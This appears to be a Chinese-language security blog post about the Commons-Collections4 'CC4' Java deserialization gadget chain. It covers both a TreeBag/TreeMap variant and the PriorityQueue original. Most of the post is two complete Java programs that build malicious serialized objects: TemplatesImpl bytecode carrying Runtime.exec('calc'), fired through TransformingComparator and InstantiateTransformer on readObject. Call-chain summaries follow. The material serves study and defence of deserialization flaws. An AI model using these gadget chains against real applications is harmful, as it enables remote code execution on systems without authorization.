CC4 是 CC2 的一个变种,用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl
ysoserial 的 CC4 没什么意思,在这里补充一个对 PriorityQueue 的替代链 TreeBag。
前置知识
TreeBag & TreeMap
在 CC2 中,使用了优先级队列 PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性,配合 TransformingComparator 触发 transformer。
除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。
对于 Bag 我很陌生,所以这里简单介绍一下。
Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数。它有一个子接口 SortedBag,定义了一种可以对其唯一不重复成员排序的 Bag 类型。
TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。
TreeBag 继承自 AbstractMapBag,实现了 SortedBag 接口。初始化 TreeBag 时,会创建一个新的 TreeMap 储存在成员变量 map 里,而排序使用的 Comparator 则直接储存在 TreeMap 中。
1 2 3 4 5 6 7 8 9
| public TreeBag(Comparator<? super E> comparator) { super(new TreeMap(comparator)); } protected AbstractMapBag(Map<E, MutableInteger> map) { this.map = map; } public TreeMap(Comparator<? super K> comparator) { this.comparator = comparator; }
|
在对 TreeBag 反序列化时,会将反序列化出来的 Comparator 对象交给 TreeMap 实例化,并调用父类的 doReadObject
方法处理:
1 2 3 4 5
| private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Comparator<? super E> comp = (Comparator)in.readObject(); super.doReadObject(new TreeMap(comp), in); }
|
而doReadObject方法会向TreeMap中put数据
1 2 3 4 5 6 7 8 9 10
| protected void doReadObject(Map<E, MutableInteger> map, ObjectInputStream in) throws IOException, ClassNotFoundException { this.map = map; int entrySize = in.readInt();
for(int i = 0; i < entrySize; ++i) { E obj = in.readObject(); int count = in.readInt(); map.put(obj, new MutableInteger(count)); this.size += count; }
|
类似优先级队列,对于这种有序的储存数据的集合,反序列化数据时一定会对其进行排序动作,而 TreeBag 则是依赖了 TreeMap 在 put 数据时会调用 compare 进行排序的特点来实现数据顺序的保存。
1 2 3 4 5 6 7 8 9 10
| public V put(K key, V value) { Entry<K,V> t = root; if (t == null) { compare(key, key);
root = new Entry<>(key, value, null); size = 1; modCount++; return null; }
|
毫无疑问,compare 方法中调用了 comparator 进行比较,那我们就可以使用 TransformingComparator 触发后续的逻辑。
1 2 3 4 5
| final int compare(Object k1, Object k2) { return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2) : comparator.compare((K)k1, (K)k2); }
|
所以也就用了一个新的类的就行了,注意好细节,这次要注意什么呢?,自己想想,直接手搓就行了
TreeBag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| package com.lagou;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.time.temporal.Temporal;
public class CC4 { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("baicany"); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes = cc.toBytecode(); byte[][] code = new byte[][]{bytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","baicany"); setFieldValue(templates,"_class",null); setFieldValue(templates,"_bytecodes",code); InstantiateTransformer transformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); ConstantTransformer constantTransformer = new ConstantTransformer("1"); TransformingComparator comparator = new TransformingComparator(constantTransformer); TreeBag bag = new TreeBag(comparator); bag.add(TrAXFilter.class); setFieldValue(comparator,"transformer",transformer); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc4.txt")); outputStream.writeObject(bag); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc4.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); }
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
|
为什么要 setFieldValue(comparator,”transformer”,transformer);
因为在add上面也会调用一次put
道理,要是拼凑的话还有其他版本.
其实这里要是用c2链的话就够简洁了,emmm这种用于禁了InvokerTransformer情况吧,每个链子有每个链子存在的
PriorityQueue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package com.lagou;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("baicany"); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes = cc.toBytecode(); byte[][] code = new byte[][]{bytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","baicany"); setFieldValue(templates,"_class",null); setFieldValue(templates,"_bytecodes",code); InstantiateTransformer transformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); TransformingComparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(); queue.add(1); queue.add(2); setFieldValue(queue,"queue",new Object[]{TrAXFilter.class,1}); setFieldValue(queue,"comparator",comparator); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc4.txt")); outputStream.writeObject(queue); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc4.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); }
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
|
利用链
1 2 3 4 5 6 7 8 9 10
| TreeBag.readObject()-> AbstractMapBag.doReadObject()-> TreeMap.put()-> TransformingComparator.compare()-> InvokerTransformer.transformer()-> InstantiateTransformer.transformer()-> TrAXFilter.TrAXFilte()-> TemptalesImpl.newTransformer()-> ... Runtime.getRuntime.exec()
|
1 2 3 4 5 6 7 8 9 10
| PriorityQueue.readObject()-> PriorityQueue.heapify()-> PriorityQueue.siftDown()-> PriorityQueue.siftDownUsingComparator()-> TransformingComparator.compare()-> InstantiateTransformer.transformer()-> TrAXFilter.TrAXFilte()-> TemptalesImpl.newTransformer()-> ... Runtime.getRuntime.exec()
|
commons-collections4 : 4.0